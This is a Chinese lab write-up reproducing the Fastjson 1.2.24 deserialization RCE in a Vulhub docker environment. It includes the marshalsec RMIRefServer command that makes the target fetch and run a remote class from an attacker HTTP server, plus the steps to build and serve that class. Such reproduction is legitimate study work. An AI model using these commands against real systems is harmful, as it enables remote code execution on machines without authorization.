开头吐槽一下重装完的kali,太折磨人了,环境重配+各种出错,人已经麻了....
需要用到
①的jdk<11(这里推荐jdk8,jdk9对反射有了新增要求,可能会出现一些不必要的错误)
②marshalsec
正式开始复现
准备阶段
这里使用Vulhub进行复现,开启得到环境
这是早期版本的漏洞,绕过方式很多,这里就用靶场提供的
在fastjson/1.2.24-rce目录下创建TouchFile.java文件
使用
javac TouchFile.java
进行编译生成class文件
之后在marshalse-master文件夹下运行
mvn clean package -DskipTests
做好准备
并且这里需要用到服务器,推荐直接用kali或开启靶场的机器当做服务器
在fastjson/1.2.24-rce目录下执行
python3 -m http.server (不加端口默认8000)
确认服务器搭建成功后开始进行下一步
经过上面的操作marshalse-master文件夹下已经生成了target文件夹
需要用到的就是这个marshalsec-0.0.3-SNAPSHOT-all.jar
接下来开始攻击
攻击阶段
借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类:TouchFile.class
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.150.128:8000/#TouchFile" 9999
其中网址是服务器开设的地址,端口对应
POST方式发送攻击包
结果检测
docker ps 查看运行中的docker
进入docker:docker exec -it 1e149b66db15 /bin/bash
可以看到tmp目录下已经出现success文件,复现成功
PS:捏麻麻滴复现的时候想把以前乱配jdk的自己埋起来,mvn报了半天错一看竟然是java和javac版本不一样...也是真的绝了,结果重新配了一套jdk1.8
配环境不规范,后期使用两行泪......